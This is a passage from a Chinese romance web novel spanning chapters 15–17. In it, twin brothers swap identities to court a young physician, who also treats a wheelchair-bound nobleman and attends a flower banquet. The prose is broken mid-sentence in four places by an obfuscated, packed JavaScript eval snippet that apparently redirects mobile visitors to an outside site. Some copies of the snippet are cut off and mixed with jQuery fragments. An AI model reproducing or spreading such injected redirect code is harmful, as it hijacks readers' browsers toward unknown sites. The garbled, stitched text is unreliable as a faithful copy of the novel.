“谢谢你罗武。”安素雪笑眼盈盈,罗武还将油纸包打开方便她拿取。 “你今天好贴心,差点都要将你认成罗文哥了。” 她喝饮子的时候说了这么一句,没注意到罗武动作顿了顿。 今日果然是新戏法,看的安素雪啧啧称赞,罗武时不时侧头看她,见她兴奋的拍手叫好,脸颊绯红如芙蓉面。 她笑,他也笑。 结束之后罗武道:“让他们先走,免得人多拥挤。” 板凳是罗家的,自然要带回去,罗武一只手拎着两个,另外一只手时不时的注意过往路人,保护在安素雪身后。 “今天玩的开心,不知不觉天都黑了。” 夜色如水静静流淌,一向能说的罗武今日格外惜字如金,搞的她都要误会他是罗文了。 “在想什么?”没听见他应声,安素雪凑近。 如花似玉的姑娘,身上也带着像是花香的气味,带有她温度的暖香扑面而来,罗武下意识的后退半步。 胸膛里跃动的心因她而如鼓捶,好像一路攀升到嗓子眼,跳的他脸上燥热。 “嗯,天黑了。”罗武面上不显,极为冷静的说道。 安素雪歪头看他,一双杏眸在月色下熠熠生辉。 她盯着他看的时间有点长,罗武握着小木凳的手收紧,他听见自己声音低沉暗哑。 “怎么了,安安。” 夜色氤氲,星光闪烁,她刚喝过绿豆水的唇晶莹透亮,笑起来的时候眉眼弯弯。 罗武喉结滑动,明明方才也喝过饮子,但不知为何又觉得口渴。 “感觉你今天怪怪的,好像罗文哥呢。” “我们是双生子,自然像。”罗武道。 这只是一段小插曲罢了,他们并肩往回走,路上碰见个站在角落里哭的小孩,善良的安素雪上前询问,温声安抚,他们又送小孩回家,因此归来的时辰比预计的要晚。 安杏花站在门口拎着灯笼,瞧见安素雪后松了口气。 罗武看着她们二人进去,才折身回家。两个小凳子随手放在酒馆库房,有人急匆匆而来,满脸焦虑心急。 “大哥,怎么样?” 来人竟然是罗武。 而今晚陪着安素雪的人则一直是罗文。 罗文只道:“还可以。” 穿过酒馆库房往住处走,罗武亦步亦趋的跟着,叽叽喳喳问个不停,罗文挑着问题回答。待走到院里时,罗武没忍住,问道:“安安没发现你是我吧?她有没有对我产生好感?” 喜欢安安,但安安好像不喜欢他,罗武急的晚上睡不着,而且听从大哥吩咐后好像也没有任何进展。那天罗文突然说,“这样不行。” 罗武立刻翻身起来:“大哥,你有什么好办法吗?我都听你的。” 犹豫良久后,罗文提出“换身份”。 “如果靠你自己,费九牛二虎之力也难以取得安安芳心。” 也就是说,罗文代替罗武和安素雪见面,让她喜欢上罗武,到时候罗家就能上门提亲。 刚开始罗武不同意,觉得那岂不是无法和安安单独相处了?罗文也没逼迫他,叫他好生想一想。 一夜过后,罗武认为娶安安事大,至于感情,大可以婚后再好好培养。他那么喜欢安安,相信精诚所至金石为开。 现下最重要的是,将安安娶回家。 所以,才有了今日之事。 罗武急迫的想要知道安安的反应,既担心她认出来去的人是大哥,又隐约期待她辨别出来。 就在如此矛盾的情况下煎熬了一个多时辰,迫不及待想知道到底怎么样。 “还行。”罗武欲要再问,突然瞥见高墙上坐着一道身影,他识趣的闭嘴。 罗文停下脚步,客气疏离道:“季公子,此墙上月刚修缮好,恐还不结实,若是不小心将公子摔下来,岂不是过意不去。” 季飞白挑眉。 罗家双生子一个憨厚一个精明,也不知道怎么生就两种性格。他微微一笑道:“多谢提醒。” 然后翻身而下,动作轻盈没弄出半点声响。 罗武小声蛐蛐:“大哥,他功夫很厉害的样子。” 罗文瞪了他一眼。“进屋。” 房门吱呀,砰的关门声。 季飞白懒懒散散的靠在墙边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597685|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗤笑。 “也是个痴情种。” 男女之间的情爱就如泡沫,看似美好,一触即碎。 不远处,刚走进后院的貌美姑娘对隔壁双生子的心思一无所知。季飞白饶有趣味的看她,着实想知道,如果她知道他们的心思会是何种表情。 “安素雪。”他叫人。 正要收晾晒药材的姑娘抬起眼眸,心情大好的她露出一抹笑意,“是你啊,方才还没看见呢。” 声音和人一样出众,清甜悦耳,如山间流淌的溪水。 身材颀长的异域少年抱着双臂走了过来,面带好奇之色。 “看戏法开心吗?” 安素雪点头,“开心啊。” 为什么突然问这个,难道…… 安素雪思忱片刻道:“和上次不一样的,你若是想去,可以明天去看。对了,记得早点去能占据好位置。” 她倒是好心。 “看来,某些人白忙活了。”季飞白留下这么一句就回房了,安素雪没听懂他说什么。 …… 罗武每日都来找她,但这几日安素雪格外的忙,她委婉道:“抱歉,本该请你去看的,但最近忙碌,过些日子我请你去茶楼里听故事。” 去看杂书戏法要给赏钱,之前都是罗武付的,安素雪打定主意要回这个人情。可她近日忙着探讨谢骧腿疾,整日扎进医书里,有时候饭都忘了吃,自然没时间和罗武出去。 谢府倒是没来人,就在对街,站在医馆门口就能瞧见谢府大门,发现这几日几乎没什么人出来。 也是,自打那位谢公子搬进去后,就没见他上过街。 大抵是因为腿脚不便吧,安素雪不免心生怜悯,同时对他相信自己的医术心生感激。 和陈山认真讨论过,陈山觉得恐怕治不好。他的理由简单:“谢公子不似普通人家,他有京城口音应当是从那边过来的。京城里能人如云,如果他们都治不好,我们恐怕也不行。” 陈山医术高超,是安素雪向往之人,她希望自己到了他这个年岁能和他一样优秀受人敬仰。 不过,她最崇拜的人不是陈山,而是陈家一位已故姑奶奶。 陈家乃是医学世家,虽没到青史留名的地步,但也算城里人尽皆知,最出名的当属陈家祖上一位姑奶奶,听说她失孤后开始从医,潜心学习呕心沥血,仅十年便成为陈家最厉害的大夫,库房里留下的手札多出自她手。 如果能成为那样的人,简直死而无憾。 所以安素雪白日看诊熬药,晚上挑灯夜读,沉浸在书海里无法自拔,一天十二个时辰恨不得掰成二十个用,自然不会应罗武的邀约。 罗武束手无策不知如何是好,安素雪见他抓耳挠腮没有那日看戏法的稳重,突然想起他哥哥。 “最近怎么都没见罗文哥?” 罗武变色一变,支支吾吾说不出话来。 突听有人轻笑。 安素雪转头,才发现不知道什么时候季飞白躺在院子里的摇椅上,一副悠然自得的模样,他头枕着双臂,惬意的勾起唇角。 “自然是因为脸上挂彩无法见人。” 15. 第 15 章 季飞白说的这句话像是一声炸雷响在罗武耳边。 安素雪奇怪的问道:“罗文哥受伤了?怎么弄的,严重吗?” 说着放下手里的药材,擦干净手。“我去瞧瞧。” 有心阻拦的罗武实在不知道找什么借口,只能咬牙跟在安素雪身后,快要走出院子时候回头望了一眼,罪魁祸首气定神闲的朝他笑笑。 多管闲事! 进罗家要先穿过前厅,罗母正坐在椅子上嗑瓜子,和来买酒水的熟人闲聊天。安素雪懂事有礼貌的向她道好,罗母笑着应声。 “哎呀,安安越发漂亮了!” 两家就挨着,罗母是看着安素雪从瘦弱的小丫头出落成亭亭玉立,娇花含羞的大姑娘。她生了两个臭小子,不免看着漂亮丫头眼馋,等安素雪走了,罗母还在和熟人夸赞: “杏花是个命好的,嫁了本分老实的陈山,生了个大胖小子不说,还有这么个懂事能干的大姑娘。” 熟人不太认识安素雪,便多问了几句。 罗母夸奖道:“你不知道,安安这孩子大小就能干,那时候刚比水桶高点,就帮忙干活,什么洗衣做饭都能干!现在和她继父学了医术,吃苦耐劳,技术高超,说话温温柔柔总是笑盈盈的模样,附近人家都喜欢找她看着呢!” “确实是个能干的,还是姑娘好,姑娘早立事。” 罗母赞同。“谁说不是呢,要是我有个姑娘就好了,或者生龙凤胎,总比现在双生子气我来的好!” 回想起昨天两兄弟大打出手的画面,罗母气不打一处来,这俩孩子小时候确实总动手,但长大之后兄友弟恭,哪里发生过如此恶劣事件? 问为什么打架,弟弟吭吭哧哧说不出话,只恼怒涨红一张脸。哥哥则是揉着脸道:“娘,打闹而已。” 最后俩人都被罗母训斥一顿。 熟人说了几句好话,什么双生子是福气云云,这才让她消气继续嗑瓜子去了。 上嘴唇还有碰下嘴唇的时候,都是血气方刚的半大小子,有争执也正常。 从酒馆往后院走要经过一处走廊,廊道两边是库房,满满登登存放着酒水。路过便能嗅到一股酒香,未喝先醉。 过了走廊,便来到后院了,罗家和陈家的格局一样,原本也能有三间住人的地方,不过为了放酒,将其中一个小屋当库房用,双生子住在一间房里。 眼看着就要走到门前了,罗武真不知道该怎么阻拦安素雪,只能大声提醒屋里的罗文。 “安安啊,我大哥不一定在!” “是吗?”安素雪还真停下脚步了。 其实在他们走在廊道里时,屋里躺着闭目养神的罗文便已经听见动静起身,他不确定是谁来了,直到听见安素雪的声音,顿时惊慌失措捂着脸想要找地方躲藏。 触碰到皮肤时,青紫一片的地方让罗文疼的忍不住嘶了一声,外面听见动静,安素雪笑着道:“好像在,我听见声音了。” 罗文很快平静下来,没躲进衣柜里,反而是将屋内杂乱的衣服全部收拾好,关闭的窗户打开,春日气息冲散淡淡的药味。 “罗文哥,你在吗?是我。” 她敲门的动作和她这个人一样,温柔恭顺,只敲了三下便停下来等着里面回复。 屋里罗文甚至能看见倒映在房门上的倩影,他本该不再出声的,但鬼使神差般,他应了一声。 跟在安素雪后头进屋的罗武皱眉,不赞同的看向脸颊青紫的大哥。 “怎么弄成这样了?”安素雪立刻过来,罗文站着比她高出半头,她需得垫着脚去查看伤势。见状,罗文坐在床沿,同时拉过一旁的凳子。 “安安,坐。” 小时候她总来罗家玩,就像是进自己家一样熟悉,后来随着年龄增长加之医馆繁忙,她几乎没怎么来过了。 屋里干净整洁,和小时候的杂乱大相径庭。罗文还拿起桌子上的茶壶给她倒水。“刚泡好的茶。” “我来吧。”安素雪接过茶壶倒了茶水,自己没喝,先给罗文递了一盏。 她身子朝前倾,脸上带着急色。“疼吗?怎么弄的呀?” 罗武别过头,罗文快速扫了他一眼,然后低头道:“没事,昨晚黑灯瞎火,在库房里干活时候不小心碰到的。” “我看你的伤似乎是被人打的,是谁下这么重的手?”安素雪是大夫,自然能辨别出各种外伤,于是揭露罗文撒谎,心中有了多个猜测。 “罗文哥,你一向与人为善,如果是罗武和人动手还有可能,你肯定不会挑衅滋事,到底怎么回事?难道……是罗叔叔打的?” 站在安素雪身后的罗武愤愤的表情。 凭什么他就总是打架,大哥就与人为善啊? 罗文注意到这些,不知道怎么回事,伤口似乎都没那么疼了。他笑了笑:“没有,是碰到悬在房梁上的酒坛子了,小伤,莫要担心。” “半张脸都青紫了,哪里是小伤,若是任由这样,你起码要在房里养半个月才能出门见人。幸好我带了药膏,这个很好用,抹上还会止疼。” 说着,拿出半个巴掌大的小盒子,打开后她用手指头挖了一块,如同猪油质地的米色膏体沾在姑娘指尖,纤细若葱白的手指轻点在罗文的脸上。 先是一阵凉意,缓解脸上发热的痛,随后感受到细腻光滑,是她用指腹揉开药膏。 为了方便上药,安素雪微微欠起身子,弯腰靠近罗文,俩人之间不过是一拳距离,近到呼吸可闻,淡淡的药香混杂着少女的香气萦绕在鼻尖,罗文放在膝盖上的手收紧握成拳。 罗文抬眼,看着她专心致志做事。 小时候她刚到陈家,还是瘦瘦小小的女娃娃,那时候罗武就喜欢逗哭她,每次都要罗文去哄。 一转眼,小姑娘都长这么大了。 爱哭鼻子的姑娘如今总是言笑晏晏,像是生了一张笑面似的,唇角勾着,饱满如樱桃的唇近在眼前。 “有没有舒服一点?” 安素雪收回手看向他,疑惑道:“罗文哥,你脸怎么这么红?” 说着她伸出左手覆在他额上,并不是发热她才放下心。 临走前将膏药留下,嘱咐他早晚各擦一次,三天就能消肿出门。 等人走了后,罗武倚靠着大门,冷声冷气。 “方才安安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600628|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你擦药时候你脸红什么?大哥,你还不承认喜欢安安?” 为何他们兄弟大打出手?还不是因为他嘴上口口声声说拿安安当妹妹,可实际上早就喜欢安安! 罗武最是痛恨这种人,当这个人是自己一奶同胞的亲兄弟时,他也丝毫没留手。 罗文方才的表现全部被罗武尽收眼底,罗武愤恨道:“我当时真想再给你一拳!那是你未来的弟妹,你怎么能有如此心思!” 弟弟的控诉像是一把利剑插入罗文的心口,疼痛又酸涩。他知道自己起了不该有的心思,所以罗武动手打他的时候,罗文没还手任由罗武打他。 愧疚不安席卷而来,在声声讨伐中,罗文闭眼,忽略自己一切感受,哑声道:“别说了。” “我还会帮你,直到安安同意的那天。” “我才不信你!”罗武红着眼睛大吼,“你就是个彻头彻尾的骗子!” 说完,罗武摔门而去,怒气冲冲的他并没有发现墙头上躺着晒太阳的异域少年,笑着将嘴里含着的山参须吐出去。 真是一出好戏啊。 …… 陈山为人老实本分,做事也从不会投机取巧,更不会做以次充好的勾当。所以陈家医馆生意兴隆,每日来看诊的人多,需要的药材更多,后院里日日都要晾晒。 “最近这批货不好。”陈山皱着眉头,将次品山参挑出来,安杏花连忙道:“别扔别扔,留着炖汤喝也好啊。” 陈山随手给季飞白,让他没事嚼一嚼。“虽然内外伤好的差不多了,但气血亏空,多进补才行,这支山参品相还行,就当吃萝卜了。” 城外百姓上山采来还新鲜带着泥土,洗干净之后一般切片晾晒好,随用随取,不过直接吃效果更好。 安杏花有点肉疼,但面上不显,见季飞白推脱还帮腔道:“飞白拿着吧,养好身体才是最重要的。” 旋即想到人家出自官家,恐怕还看不上这等小山参呢。而且这东西收来的便宜,一根也才几十个铜板,季家给了一百两银票,莫要亏待了少年才是。 安杏花热情的让季飞白吃,季飞白便收下了,摘上面的须须在嘴里咀嚼。 淡淡的涩味,吃下去没什么特殊感觉,所以随手将其当萝卜咀嚼。 但怎么也没想到入夜之后药效上涌,全身发热,热的他脱了上衣打赤膊出去拎水。 水缸在厨房里,季飞白轻轻松松拎起一桶,本想回房清洗,但又觉得麻烦,索性就一桶水直接从头浇下去。 湿哒哒的走出来,和睡不着的安素雪迎面碰上。 月光如水,洒在异域少年的劲瘦的身躯上,穿着衣服时候瞧着瘦,但此刻水珠滚落在他喷发的薄肌上,小臂甚至隐隐有青筋盘错。 “你……”安素雪语塞,一张脸腾的热起来。 季飞白原本想后退进厨房躲一躲的,但他脚步未动,洗过的眸子更如琥珀般璀璨。 “我什么?”他走出来,眉梢扬起。 安素雪看见他胸膛上的水珠子顺着肌肉纹理往下滑,脸越发的燥热,立刻转身匆忙跑了。 “胆小鬼。”季飞白抱着胳膊笑看她落荒而逃。 16. 第 16 章 早上用完饭陈山着急去铺子,安杏花要哄哭了的小竹子,陈香玉擦擦嘴走了,只留下安素雪一个人收拾桌子。 这种事情是常态,她并不恼,动作利落的把碗筷端走,擦桌子的时候季飞白来了。 “可有信纸?” “有的,就在我房间柜子里,第二层,你找找。” 等这边安素雪收拾完,他捏着信纸出来,问她借个信封用。安素雪这才想起来自己房里没有,连忙在主屋找了一个交给他。 “你的信好像还没干。” 好心的姑娘提醒,指了指信封上透出来的墨汁。 季飞白长指捻开,将信封打开。安素雪想要避一下,却没想到他动作这么快,信纸张开那刻上面的字被她看个正着。 “不好意思,我不是故意想看的。”安素雪垂下眼帘。 季飞白耸了耸肩,无所谓的模样。“给你看恐怕你都看不懂。” 这人! 明明长了一张异域昳丽的让人心跳脸红的容貌,偏偏嘴巴如此毒辣。 在他这,她好像很容易被挑起火气。 漂亮的姑娘不服气的抬头,黑曜石一般的眸子盯着他看。“我虽没跟着夫子学过读书写字,可自小跟着陈叔学习医术,基本的字我都认识的。” 眼前突然飘来一张纸,密密麻麻的都是字,她当真一个都不认识,而且看着落笔,不像是本朝文字。 “吐蕃语,你不认识很正常。” 想起来了,娘说过他身上有吐蕃血脉。安素雪虽然看不懂,但能瞧出来笔风犀利,和他这个人一般,利落干净锋芒毕露。 “你的字很漂亮。”她真心实意的夸赞。 季飞白眉梢扬了扬,唇角含笑的看她。“想不想学吐蕃语?” 安素雪眼睛发亮:“可以吗?” 季飞白:“可以,你想学就学。” 安素雪还要说什么的时候,季飞白已经将信折好放在了信封里,没有下文了。 他不会是让她自己学吧? 想到对方的性子,安素雪深以为然。多和他说这些,当真没意思。 赶忙收拾了屋里,将小竹子睡的床擦拭干净,匆忙回房换了身衣服准备出门去。 今日便是余姑娘邀请赏花的日子,她向来不会迟到,便提前去了。临出门安杏花笑盈盈的让她好好玩,陈山则是默不作声的拿了零花钱给她。 安素雪推脱不要,陈山道:“出门在外,身上有钱才安心。” 安杏花拿过钱塞女儿手里,朝她眨眨眼。 “去吧。” 出了门安素雪有种恍惚的感觉,她每日出门都是看诊治病,鲜少出门是为了游玩,差点找不到余府的大门。 因到的早,府门前只停了两辆马车,大门前的仆从上前迎接笑着道:“姑娘,可是来参加我们大小姐的宴席?” 安素雪点了点头。 “您这边请,”那人客客气气的邀请她往前走,快走到门口时候突然问了句:“还劳烦姑娘拿出请柬。” “什么请柬?” 见安素雪一脸无知状,那仆从慎之又慎,并没有继续带领她继续,而是站定,语气也没方才恭敬了。 “我们大小姐举办赏花宴,给亲朋好友下了帖子,得拿着帖子才能入内。” 正说着,有辆马车过来,从车上下来一位姑娘,她的丫鬟把请帖交给余府仆从,便有人恭恭敬敬引着她入内。 “你可瞧见了?就是那个帖子。” 安素雪如实道:“我没有,但确实是余姑娘亲口邀请我的。” 仆从摇头:“姑娘可能没听说,现在世道正乱着,若是没有帖子我可万万不敢放你进去,要吃责罚。” “我不为难你,这样,你先进去和余姑娘通报一声。”安素雪很是冷静,那仆从多看了她一眼,心道不止容貌好,心性也是一等一的好。如果是别人家的姑娘,恐怕早就恼羞成怒闹开了。 “姑娘稍等,我去去就来。” 来来往往不少人,见到安素雪在门口站着却不进去,不免会多看两眼。被这么多人注视,她有些不自在,右手忍不住摸腰间,可惜,摸了个空。 她今日没背着药箱。 其实她和余姑娘交情不深,是去年余家请她上门看诊二人才认识。那时候余姑娘脸颊起了不少疙瘩,安素雪忙里忙外,又是开内服药又是亲自做外敷药,整整一个月才让其消下去。 后来就没怎么见过了,对方邀请她来参见赏花宴,安素雪还有点吃惊。听说那些世家小姐们会举办各种宴席,什么赏花宴,踏青宴,从春日开始到冬日结束,总是能举办宴席和友人相聚。 陈香玉前一阵就和朋友去踏青了,实话实说,安素雪是羡慕的。可她在本地没什么朋友,若说的话,只和罗家兄弟最为要好,所以当她收到邀请后,犹豫再三还是应下了。 站在门口又等了约莫一炷香的时间,余府门前已经停了不少马车了,春日的光亮照在脸上发热,安素雪便低下了头。 许久不曾有马车来了,应该是到了时辰,只是为何仆从迟迟不归? “劳烦你告诉余姑娘一声,”安素雪上了个台阶,和守门人道:“我家里还有事,下次再来赴宴。” 守门人应下,她刚转过身,就听一阵脚步声。那仆从去而复返,抱歉道:“今日宾客众多,我也是寻了好一会才寻到我们家大小姐,姑娘,里面请。” …… 之前来过余府,但她着急病人的病情,因此对于府上构造完全没注意过。今日来赏花宴,跟着仆从往里走,甬道两边种了不少春季花种,这时候已经绽放开来,春红柳绿一片春,香气扑鼻叫人心旷神怡。 一直走了两道拱门,才来到一处地势辽阔的花园,里面假山流水,精致非凡。 凉亭里已经聚集了不少妙龄少女,宛若鸟鸣似的在交谈,看见走过来的安素雪,众人声音小了,俱是朝着她看过来。 “哎呀,不好意思啊安大夫,那天偶然碰见,我身上并没有带请帖疏忽了你。” 原本坐着的余姑娘起身,笑着过来迎安素雪,连连道歉,安素雪莞尔一笑。“没关系的。” “来来,我给大家介绍,这位是城中有名的安大夫,医术高超,悬壶救世!” “余姑娘委实抬举我,只是会些医术。”安素雪谦虚的回话。 “来来来,给我们安大夫让个座。” 刚才她起身的地方是并未凉亭中心,而是稍偏一些的地方,而且只有一个空位。眼下,只有最中间圆脸姑娘身边有两个地方,余姑娘便将安素雪往那边推。 “柳小姐,可否让安大夫坐你身边? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612610|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这话问的着实奇怪了。 她作为本场宴会的主人,竟然还要问圆脸姑娘同意。安素雪从未参加过这种场合,隐隐觉得哪里不太对。 正当思忱时,那位圆脸的柳小姐哼了一声,眼睛看都没朝这边看,硬邦邦的说了句:“想坐就坐。” “我还是坐那边吧。”安素雪先开口,指着凉亭外的一把凳子。 余姑娘捂嘴笑。“凳子是一会要放瓜果茶点用的,哪里能让客人坐在那,这样,你同我挤一挤。” 总不能站着,太过突兀。安素雪便挨着余姑娘坐下,虽然挤了一些,胜在凉亭四处透风,天气作美,也不算热。 有丫鬟来送各种吃食和饮子,这些姑娘们坐在一起笑着谈论时下城里最流行的衣裙样式和胭脂水粉,安素雪插不进去,便默默的听着。 花园里绽放着各式各样的花儿,旁人笑着道好美,安素雪却一门心思的想其药用,若是摘下来晾晒好研磨成粉,放在香膏里还能做美容之用。 她畅想之时,有人问:“安大夫喜欢什么花?” “我很喜欢连翘,开花时明艳张扬,待果实成熟之后又能入药,可疏风解表,着实是味好药材。” 她脱口而出,其他人听完却俱是捂嘴一笑。 有姑娘笑出银铃般的声音,其他人也被带动,忍不住笑起来。安素雪被她们笑的尴尬,不知道发生了什么。 “哎呀,我们安大夫一心扑在医术上,这是高洁大爱啊。” 开口的是余姑娘,看似给安素雪解围,但不知道怎么回事,其他人笑的更欢。 宴席结束,安素雪匆忙告别余姑娘返回家里。等摸到自己的药箱子后,才觉得悬着半天的心稳下来。 将箱子里的用具拿出来一一擦拭干净,刚合上盖子,陈香玉进来了。 春日的晌午最是暖和,门窗都打开通气,陈香玉尖锐的声音也随风飘出来。 “我明后天要出门,你在医馆看着。” 回来时候碰见谢府的人了,说是明天叫她上门看着,所以安素雪实话实说。“恐怕不行,我要出门看诊的。” 当时医馆里有个药童看铺子,但陈香玉说她可以看,把工钱给她就行,这还没到一个月,陈香玉就时不时出去不管铺子。 陈山在城里小又名气,每天来请他看诊的人不少,到时候安素雪恐怕走不开去谢府。 思量之后她婉转拒绝,陈香玉皱眉。“你还忙?你忙什么?上次的事情难道没吃教训?功夫不到家就莫要出去祸害其他人。” 这话委实过分。 院子里正躺着晒太阳的季飞白蹙眉,随后听见脚步声,他抬眼,见是抱着孩子的安杏花过去了。 这是给女儿撑腰去了? 可过了片刻,就听见安杏花说道:“没事没事,香玉啊,你要做什么便去,我可以看铺子。” 然而第二天,还是安素雪坐诊,晌午时候季飞白来给她送饭,问起怎么是她。 “娘要照看小竹子不方便,人来人往的错个眼孩子就容易丢了。” 安素雪还说之前城里丢过孩子的事情,可在季飞白听来,她就是不想让母亲为难。 脑海里浮现一张隐忍痛苦的脸。 季飞白面色稍霁,扔下一句:“随你。” 转身离开。 17. 第 17 章 这些日子安素雪闲来无事时就会捧着手札看,越看越佩服那位陈家的姑奶奶,除了常规的法子外,她研究出不少意想不到的土方子,安素雪一一记下,觉得可以尝试。 下午去谢府时候,安素雪便将土方子和对方提了。 “谢公子,若是你不嫌弃的话可以试试,兴许会有意想不到的效果。” 谢骧还是那副面色惨白的模样,坐在轮椅上,手把玩着一个玉如意。现在天气越发的热,他房间里门窗紧闭,不免有些发闷,没一会,安素雪面颊红润,精巧的鼻尖沁了薄汗,用帕子擦拭,继续道: “至于方子里的药材,我觉得应当和公子提前说一声,因为是土方子嘛,用药便没那么讲究,比如这幅名为‘五毒贴’,说的便是将五毒入药。” 五毒,乃是蝎子,蟾蜍,蜈蚣,壁虎和蛇。 见谢骧一直不说话看着她,安素雪觉得对方恐怕有顾虑。也是,论谁听见这五样东西恐怕都要掂量一番,于是她继续说如何配比方子,去掉多余毒性。 当说起自己喜欢的事情,安素雪侃侃而谈,眼眸熠熠生辉。 直到说的口干舌燥后,谢骧叫人上了茶给她,又道:“安姑娘坐下歇息。” 方才她一直站着,冷不丁坐下后,比同样坐着的谢骧矮了半头,她抬头看他,被汗浸湿的碎发贴着脸颊,抬起眼帘时便是一副楚楚可怜的模样。 谢骧的身份与众不同,他敢说自己见过全天下最美的那些女人,但没有哪一个能让他记忆深刻。 她们会因为他的权势而攀附他,也会因他势微而躲避嫌恶他。安素雪不一样,从第一次见面起,她便是温声细语,既不会谄媚也不会嫌恶。 “可以一试。”谢骧摸着自己毫无知觉的腿,语气淡淡,“左右没什么感觉,怕是切起来也无妨。” 这话让安素雪有一瞬间的毛骨悚然,但她也不敢保证能将他治好,便转了话题道: “谢公子,我先帮你诊脉,再看其他伤处。” 脉象和之前一样,虚浮气躁,加之他不良于行,日渐消瘦。安素雪将之前的方子换了一副,边写边道:“多加了进补的药材,还有几个药补的方子,可让厨房做药膳。” 写完的方子落在谢骧的手里,字迹和人一样清秀端庄。 他背上的伤已经好的七七八八了,只待结痂落下。手上竟然还没好,安素雪皱着眉头给他换了药,接下来便是要看腿上的伤势了。 屋里没有侍候的丫鬟,安素雪便绕到他身后,将他推向床榻,不过就算他再瘦弱也是个成年男子,安素雪犯愁该如何将他移动到床上。 她视线落在他双腿伤,谢骧面色一滞,随后语气冷淡道:“腿好了,不用管。” “可是我得看看才行。” 谢骧自己将轮椅推到桌子旁,拿起茶盏浅啜一口,低眉道:“我说好了就好了,不劳安姑娘分心。” 方才还好好的,怎么就翻脸了呢?安素雪犹豫片刻只得先行离开。 她温声道:“谢公子,现在天气炎热,最好能开窗通风,对你的病情和心情都有好处。” 门开着,守在门口的红袖准备送安素雪离开,闻言低头笑了。 她侍候主子多年,知道他最是厌恶旁人命令他行事,哪怕是皇帝也不行。 果然,红袖看见谢骧阴沉了脸。 “安大夫,各人习性不同,还请安大夫莫要指手画脚。”红袖添油加醋的说了这么一句,谢骧想到了什么,面色更加难看。 安素雪只觉得气氛好像变得奇怪,想早早离开才是,于是连忙告辞。 房门打开,身后是阴暗的房间,往前走便是光明之处,安素雪脚步匆匆,迫不及待。 她自然没看见,身后一直看着她的谢骧,面色越发的阴沉,仿若能滴出水来。 往府门走,路过谢府花园时,突然从花丛里窜出来一只滚地锦,朝着安素雪喵喵叫,尾巴高高竖起,脑袋在她脚边蹭来蹭去。 “哪里来的小猫。”安素雪蹲下,摸猫的脑袋,滚地锦叫的欢。 “你们府上养的吗?”瞧着身上有脏污,腿上的毛都打结了,不像是谢府豢养的。 果然,红袖否认,还嫌弃的退后,生怕被一身杂毛的猫碰到。“没看见吗?还不赶紧将其弄走!” 立刻有丫鬟上前,小猫害怕的喵呜一声,跳着跑进花丛里没了动静。 …… 回去后安素雪便开始研究五毒贴,和陈山探讨之后,他认为可行。 “姑母一生行医救人,经历了家国动荡体验过人生疾苦,她留下的都是简单粗暴的方子,虽然看似凶险,其实自有道理,且会有意想不到的效果。” 安素雪笑着道:“我也是这样想的,不过不好直接给谢公子用,我想先研制出来自己试试。” “可别最后害人害己。”陈香玉在一旁说风凉话。 陈山皱眉呵斥,“香玉,你说的什么话,还不快给安安道歉。” 安杏花和陈山是半路夫妻,且她得仰仗着陈山过活,因此一直对陈香玉有求必应客客气气,时间久了,陈香玉的性子越发骄纵,说话也没个顾忌。 安素雪赶忙说没关系,从中调和,还请陈山帮忙挑选“五毒”药材,想把毒性降低,但又要保留。手札上字迹匆匆并未详细记载,安素雪岔开话题,才将方才的事情揭过去。 家里又恢复平静祥和,安素雪悄悄吐出一口气。 …… “天长喽!” 吃完饭,安杏花抱着小竹子在院子里玩,安素雪则是拿着药材研磨,有一搭没一搭的和娘亲说话,季飞白还是在院子空地上练剑,动作利落,剑气如风。 小竹子年幼,最是对新鲜的玩意儿感兴趣。日落黄昏,温暖的光落在异域少年的冷刃上,折射出他深邃的琥珀瞳孔,他神情专注,动作利落,即使不懂功夫的安素雪,也觉得他应当功夫不错。 竹子哈哈笑,拍着小手就要凑过去。 “别,小竹子不要过去,小心伤到你。”安素雪立刻上前把弟弟抱起来,小竹子在她怀里扭来扭去,不安分的像是条泥鳅。 那边练剑的季飞白收了招式,潇洒的擦了汗,把剑放在一旁,将那破损老旧的剑鞘拿了过来。 “给你玩。” 捧着剑鞘的小竹子笑的口水都流出来了,小孩子的笑容最是会感染人,院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 